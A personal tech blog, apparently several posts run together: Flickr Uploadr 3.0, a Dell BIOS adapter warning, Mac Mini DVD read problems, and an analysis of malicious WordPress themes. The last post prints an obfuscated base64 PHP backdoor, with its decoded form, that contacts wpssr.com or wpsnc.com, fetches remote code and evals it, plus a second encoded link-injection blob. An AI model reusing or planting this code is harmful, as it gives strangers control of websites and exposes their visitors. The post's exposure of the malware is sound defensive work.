So I migrated all of my photos to Flickr in October, and it’s been a great improvement for my needs.

I recently added a listing of 10 random images from my Flickr photos to my site’s sidebar, which is amazing that they let you do that, and incredibly fast — as is all of Flickr. It looks to be not perfect (that is, not perfectly random), but the fact that it’s so fast makes up for that. I remember it being a hassle and a hack to get Gallery2 to show a single random image outside of the application in a decent amount of time, much less a series of them.

Flickr recently released Flickr Uploadr 3.0 (pic of it is above), which is an amazing piece of software. Every problem that I had in the 2.x series is gone, namely

1. It maximized your upload speed — so unless there’s another layer at the system or router level to limit your upload speed, some connections will have the download speed throttled as a result. The new version doesn’t ask you your max upload speed, it must just do automatic limiting to ~85-90%.
2. It wouldn’t let you set item specific tags, titles, etc. The way they do it now is nothing short of brilliant.
3. You couldn’t do batch jobs, i.e. start one job and work on another in the meantime. My upload speed is less than phenomenal, and the fact that the images are 3-8MB each doesn’t help. On the other hand, since you can now set element specific attributes, there’s not really too much of a need for batch jobs.

I really like the social part of it, and the tagging. I’m intrigued by what they call interestingness, and am determined to someday take an ‘interesting’ photo.

Overall, I only have a few small regrets from transferring all of my photos to Flickr. If you take photos at all, I recommend it.

Text:

The AC power adapter wattage and type cannot be determined.
The battery may not charge.
The system will adjust the performance to match the power available.

Please connect a Dell 65W AC adapter or greater for best system performance.

To resolve this issue, try to reseat the power adapter.

Strike the F3 key (before the F1 or F2 key) if you do not want to see power warning message again.

Strike the F1 key to continue, F2 to run the setup utility
Press F5 to run onboard diagnostics.

As I said here:

Two or three times since I’ve received the laptop, I would get weird BIOS messages, saying something to the effect that “the battery is not found or not supported.” I wish I would have captured this image to find out more about what it means, but since pressing F3 to ignore has been working, I’ve been content with that thus far. Next time I get it, I’ll be sure to capture it and followup with that error message.

I’m not sure what causes it. I’m using the Dell 65W AC Adapter that came with the notebook. If I leave the power adapter as it is and reboot, the same error comes up. If I disconnect it and reconnect it, the error no longer comes up. I wonder if it’s safe to press F3 and ignore it…

So I’ve been playing around with some burned media on my HTPC recently, and I’ve been having a little trouble with videos burned to Teon DVD+Rs. Now it probably has to do with the fact that these are the cheapest DVD+Rs around, but the Mac Mini is treating them weirdly.

At first, it will read the disc fine, for about a half hour. Then it will stop spinning the disc up, and say that the disk is perhaps scratched — even on a fresh burn. Eh, I dunno. I hope it’s a media+drive incompatibility issue. Typically, if I knew the make/model of the DVD drive in the Mini, I’d look it up on Videohelp.com to see if anyone else has this same issue.

As a side note, today I just found a pretty active a Mac Mini HTPC forum at 123macmini.com. Who knew so many people were using their Minis as HTPCs; I guess my idea wasn’t as unique as I thought.

Jeff made a post a few days ago about nonsensical error messages that don’t really help you.

How about this one?

Fatal error: Allowed memory size of 16777216 bytes exhausted (tried to allocate 524114 bytes) in Unknown on line 0

Found in Squirrelmail, a PHP webmail client.

A friend of mine has a Wordpress weblog that displayed something fishy on it. Something to the effect of

Unable to fclose(), not a valid resource

That struck me as odd, so I dug a little deeper, and saw this in his theme’s header.php (I added the newlines for displaying purposes)

<body><?php @eval(@base64_decode('aWYoJFIzN0MwMTREQUU1RkU0RkU1Qzc3QjY3MzVBQkMzMDkxNiA9IEBmc29ja
29wZW4oInd3dy53cHNzci5jb20iLCA4MCwgJFIzMkQwMDA3MEQ0RkZCQ0NFMkZDNjY5QkJBODEyRDRDMiwgJFI1RjUyNUY1QjM5OERBRE
Q3Q0YwNzg0QkQ0MDYyOThFMywgMykpICRSNTBGNUY5QzgwRjEyRkZBRThCMjQwMDUyOEU4MUIzNEUgPSAid3Bzc3IiOyBlbHNlaWYoJ
FIzN0MwMTREQUU1RkU0RkU1Qzc3QjY3MzVBQkMzMDkxNiA9IEBmc29ja29wZW4oInd3dy53cHNuYy5jb20iLCA4MCwgJFIzMkQwMDA3M
EQ0RkZCQ0NFMkZDNjY5QkJBODEyRDRDMiwgJFI1RjUyNUY1QjM5OERBREQ3Q0YwNzg0QkQ0MDYyOThFMywgMykpICRSNTBGNUY5Qzg
wRjEyRkZBRThCMjQwMDUyOEU4MUIzNEUgPSAid3BzbmMiOyBlbHNlICRSNTBGNUY5QzgwRjEyRkZBRThCMjQwMDUyOEU4MUIzNEUgPSA
id3BzbmMyIjsgQGV2YWwoJyRSMTRBRjFCRTlFRTI2QTkwOTIxRTY0QTgyRTc4MzY3OTcgPSAxOycpOyBpZigkUjE0QUYxQkU5RUUyNkE5
MDkyMUU2NEE4MkU3ODM2Nzk3IEFORCBpbmlfZ2V0KCdhbGxvd191cmxfZm9wZW4nKSkgeyAgJFJEM0ZFOUMxMEE4MDhBNTRFQTJBM0
RCRDlFNjA1QjY5NiA9ICIxIjsgICRSNkU0RjE0QjMzNTI0M0JFNjU2QzY1RTNFRDlFMUIxMTUgPSAiaHR0cDovL3d3dy4kUjUwRjVGOUM4MEYx
MkZGQUU4QjI0MDA1MjhFODFCMzRFLmNvbS93JFJEM0ZFOUMxMEE4MDhBNTRFQTJBM0RCRDlFNjA1QjY5Ni5waHA/dXJsPSIuIHVybGVu
Y29kZSgkX1NFUlZFUlsnUkVRVUVTVF9VUkknXSkgLiImIi4gImhvc3Q9Ii4gdXJsZW5jb2RlKCRfU0VSVkVSWydIVFRQX0hPU1QnXSk7ICAkU
jNFMzNFMDE3Q0Q3NkI5QjdFNkM3MzY0RkI5MUUyRTkwID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRSNkU0RjE0QjMzNTI0M0JFNjU2QzY1RTN
FRDlFMUIxMTUpOyAgQGV2YWwoJFIzRTMzRTAxN0NENzZCOUI3RTZDNzM2NEZCOTFFMkU5MCk7IH0gZWxzZSB7ICAkUkQzRkU5QzEwQ
TgwOEE1NEVBMkEzREJEOUU2MDVCNjk2ID0gIjAiOyAgJFI2RTRGMTRCMzM1MjQzQkU2NTZDNjVFM0VEOUUxQjExNSA9ICJodHRwOi8vd3
d3LiRSNTBGNUY5QzgwRjEyRkZBRThCMjQwMDUyOEU4MUIzNEUuY29tL3ckUkQzRkU5QzEwQTgwOEE1NEVBMkEzREJEOUU2MDVCNjk2Ln
BocD91cmw9Ii4gdXJsZW5jb2RlKCRfU0VSVkVSWydSRVFVRVNUX1VSSSddKSAuIiYiLiAiaG9zdD0iLiB1cmxlbmNvZGUoJF9TRVJWRVJbJ0hU
VFBfSE9TVCddKTsgIEByZWFkZmlsZSgkUjZFNEYxNEIzMzUyNDNCRTY1NkM2NUUzRUQ5RTFCMTE1KTsgfSBmY2xvc2UoJFIzN0MwMTREQ
UU1RkU0RkU1Qzc3QjY3MzVBQkMzMDkxNik7')); ?>

Which decodes to (again with the newlines)

if($R37C014DAE5FE4FE5C77B6735ABC30916 = @fsockopen("www.wpssr.com", 80, $R32D00070D4FFBCCE2FC669BBA812D4C2, $R5F525F5B398DADD7CF0784BD406298E3, 3))
 $R50F5F9C80F12FFAE8B2400528E81B34E = "wpssr"; elseif($R37C014DAE5FE4FE5C77B6735ABC30916 = @fsockopen("www.wpsnc.com", 80, $R32D00070D4FFBCCE2FC669BBA812D4C2,
 $R5F525F5B398DADD7CF0784BD406298E3, 3)) $R50F5F9C80F12FFAE8B2400528E81B34E = "wpsnc"; else $R50F5F9C80F12FFAE8B2400528E81B34E = "wpsnc2";
 @eval('$R14AF1BE9EE26A90921E64A82E7836797 = 1;'); if($R14AF1BE9EE26A90921E64A82E7836797 AND ini_get('allow_url_fopen')) {  $RD3FE9C10A808A54EA2A3DBD9E605B696 = "1";
  $R6E4F14B335243BE656C65E3ED9E1B115 = "http://www.$R50F5F9C80F12FFAE8B2400528E81B34E.com/w$RD3FE9C10A808A54EA2A3DBD9E605B696.php?url=".
 urlencode($_SERVER['REQUEST_URI']) ."&". "host=". urlencode($_SERVER['HTTP_HOST']);  $R3E33E017CD76B9B7E6C7364FB91E2E90 =
 @file_get_contents($R6E4F14B335243BE656C65E3ED9E1B115);  @eval($R3E33E017CD76B9B7E6C7364FB91E2E90); } else {  $RD3FE9C10A808A54EA2A3DBD9E605B696 = "0";
  $R6E4F14B335243BE656C65E3ED9E1B115 = "http://www.$R50F5F9C80F12FFAE8B2400528E81B34E.com/w$RD3FE9C10A808A54EA2A3DBD9E605B696.php?url=".
 urlencode($_SERVER['REQUEST_URI']) ."&". "host=". urlencode($_SERVER['HTTP_HOST']);  @readfile($R6E4F14B335243BE656C65E3ED9E1B115); }
fclose($R37C014DAE5FE4FE5C77B6735ABC30916);

Classic arbitrary code execution attack, behind a few levels of masking.

I looked at his other themes, and saw three others with the same issue. In another theme, I saw this in footer.php

eval(gzinflate(base64_decode('
bZCxisMwEERrG/wPgz8g6o2iwDV3XZpAajla24tt
SScpEQf5+MjxlRm2WGbYB7MnVRVBGn6AzbEdnEsU
WtXUKCO9gqHIoyWD/q+D1JgCDcd2Ssl3QuScD6ue
6ffOt/lwc2urznZhS7hSHzkRvu68GApSaAVtzWdE
pn5yMbEdR6I57qBCwM/uYjv/3iI8oR+aF90vhCEQ
QacOF+c/YZPz2aeJVvpH4uqC8YFixOVtb1wpSsum
lqL8oPRu6qrad7xVktML
')));

Which doesn’t turn out to be as bad, only few links (run it yourself if you’re interested, I’m not into promoting badness). But still, the fact that it’s masked is very shady.

These themes were obtained from WPSphere.com and FreeWordPressLayouts.com, respectively. The links were purposefully omitted, they don’t need any more pagerank. Who knew people were so shady. I urge those looking to get Wordpress Themes to stay away from sites such as these.

Edit: I found a post on GigaOM that found this same issue, and even mentions WPSphere.com by name. I’m glad I’m not the first to find it.